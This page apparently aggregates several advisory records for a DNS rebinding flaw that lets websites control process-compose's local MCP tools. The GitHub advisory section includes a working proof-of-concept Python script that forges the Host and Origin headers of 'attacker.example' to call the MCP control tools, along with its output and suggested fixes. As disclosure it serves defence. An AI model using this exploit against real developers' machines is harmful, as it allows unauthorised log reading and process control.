Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.

Source published

18 Sep 2026 16:37:19 UTC

Source modified

18 Sep 2026 16:49:46 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 5.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N

Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.

Source published

Sep 18, 2026, 4:37:19 PM (timezone not stated)

Source modified

Sep 18, 2026, 4:49:46 PM (timezone not stated)

Observed here

11 Nov 2026 16:08:17 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 5.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N

Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.

Source published

18 Sep 2026 17:17:00 UTC

Source modified

24 Sep 2026 21:25:27 UTC

Observed here

25 Oct 2026 16:19:04 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 5.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

## Summary A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools. This advisory covers `https://github.com/F1bonacc1/process-compose`, confirmed at commit `d56aa59df04b72f8644811ac581a051bec05e485`. The issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection. ## Affected Code Root cause: ```text src/types/mcp.go:24-30 SSE is the default MCP transport when mcp_server.transport is omitted. src/types/mcp.go:64-70 SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field. src/mcp/server.go:203-214 The server starts server.NewSSEServer(s.mcpServer) directly on the configured address. src/api/routes.go:32-39 X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener. ``` Impact surface: ```text src/mcp/mcp_manager.go:33-38 expose_control_tools registers built-in process-compose control tools. src/mcp/control_tools.go:26-116 The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs. src/mcp/control_tools.go:121-142 The registered tools return project and process state. ``` ## Reproduction Start process-compose from the affected commit with MCP SSE and built-in control tools enabled: ```bash workdir="$(mktemp -d)" cd "$workdir" git clone https://github.com/F1bonacc1/process-compose process-compose-target cd process-compose-target git checkout d56aa59df04b72f8644811ac581a051bec05e485 go build -o ./process-compose-poc . cat > process-compose-mcp-poc.yaml <<'YAML' mcp_server: host: 127.0.0.1 port: 8081 transport: sse expose_control_tools: true processes: sleeper: command: "sleep 600" disabled: true YAML PC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \ -f ./process-compose-mcp-poc.yaml \ -t=false \ --no-server \ --keep-project \ --log-file ./process-compose-mcp-poc.log ``` In a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps `Host: attacker.example:8081` and `Origin: http://attacker.example:8081` while the hostname resolves to `127.0.0.1`. The script below sends that same request shape to the local MCP SSE listener: ```bash python3 - <<'PY' import http.client import json import queue import threading import time import urllib.parse host = "127.0.0.1" port = 8081 attacker_host = "attacker.example:8081" origin = "http://attacker.example:8081" headers = { "Host": attacker_host, "Origin": origin, "Accept": "text/event-stream", } events = queue.Queue() def read_sse(resp): event = None data = None while True: line = resp.readline() if not line: return text = line.decode("utf-8", "replace").strip() if text.startswith("event:"): event = text.split(":", 1)[1].strip() elif text.startswith("data:"): data = text.split(":", 1)[1].strip() elif text == "" and (event or data): events.put((event, data)) event = None data = None conn = http.client.HTTPConnection(host, port, timeout=10) conn.request("GET", "/sse", headers=headers) resp = conn.getresponse() print("GET /sse", resp.status) print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin")) threading.Thread(target=read_sse, args=(resp,), daemon=True).start() endpoint = None deadline = time.time() + 10 while time.time() < deadline: event, data = events.get(timeout=1) if event == "endpoint": endpoint = data break assert endpoint, "no SSE endpoint event" print("endpoint", endpoint) def post(message): parsed = urllib.parse.urlparse(endpoint) path = parsed.path + ("?" + parsed.query if parsed.query else "") body = json.dumps(message).encode() c = http.client.HTTPConnection(host, port, timeout=10) c.request("POST", path, body=body, headers={ "Host": attacker_host, "Origin": origin, "Content-Type": "application/json", "Content-Length": str(len(body)), "Authorization": "Bearer invalid-replay-token", }) r = c.getresponse() r.read() c.close() print("POST", message.get("method"), r.status) def wait_result(rpc_id): deadline = time.time() + 10 while time.time() < deadline: event, data = events.get(timeout=1) if event == "message" and data: msg = json.loads(data) if msg.get("id") == rpc_id: return msg raise SystemExit(f"no result for id {rpc_id}") post({ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "rebind-poc", "version": "1.0.0"} } }) print(json.dumps(wait_result(1), indent=2)) post({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}) post({"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}}) tools = wait_result(2) names = [tool["name"] for tool in tools["result"]["tools"]] print("tools", names) post({ "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "pc_process_list", "arguments": {} } }) print(json.dumps(wait_result(3), indent=2)) PY ``` ## Observed Result The MCP SSE listener accepted the forged browser-origin request shape: ```text Host: attacker.example:8081 Origin: http://attacker.example:8081 Authorization: Bearer invalid-replay-token ``` The server returned `GET /sse: HTTP 200` with `Access-Control-Allow-Origin: *`. The MCP session then completed `initialize`, returned the process-compose tool catalog, and allowed `tools/call` to reach a process-control handler. The operator reproduced the issue against the genuine process-compose target and observed `pc_process_list` returning: ```json { "data": [ { "name": "sleeper", "namespace": "default", "status": "Disabled", "system_time": "-", "age": 0, "is_ready": "-", "has_ready_probe": false, "restarts": 0, "exit_code": 0, "pid": 0, "is_elevated": false, "password_provided": false, "mem": 0, "cpu": 0, "is_running": false } ] } ``` Earlier replay against the same target also listed 13 `pc_*` MCP control tools and reached project-state and process-control calls through the SSE message endpoint. ## Impact A web attacker can drive local process-compose MCP requests from the victim browser when the operator has enabled MCP SSE. The attacker does not need a bearer token, API key, cookie, client certificate, or CSRF token. With `expose_control_tools: true`, the same unauthenticated browser-origin path can enumerate process state, read logs, search logs, truncate logs, start processes, stop processes, restart processes, and scale processes. If the operator exposes user-defined MCP process tools, the attacker can invoke those configured commands and read their output. Process logs and process output often contain service names, local paths, usernames, runtime state, internal URLs, and secrets emitted by child processes. Start, stop, restart, scale, and log truncation are process-control operations on the developer's local process-compose project. ## Suggested Fix Add a target-side trust boundary to the MCP SSE listener before MCP dispatch: 1. Reject requests whose `Host` header is not loopback or an explicit configured trusted name. 2. Reject browser requests whose `Origin` is not a trusted loopback or configured origin. 3. Require a random per-run bearer token or equivalent caller secret on both `/sse` and the returned `/message` endpoint. 4. Do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports. 5. Consider requiring an explicit authentication setting before starting SSE MCP with process-control tools.

Source published

18 Sep 2026 17:17:51 UTC

Source modified

28 Sep 2026 17:11:08 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N

Publisher rating · MODERATE

Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools in github.com/f1bonacc1/process-compose

Source published

28 Sep 2026 16:43:40 UTC

Source modified

28 Sep 2026 17:00:17 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.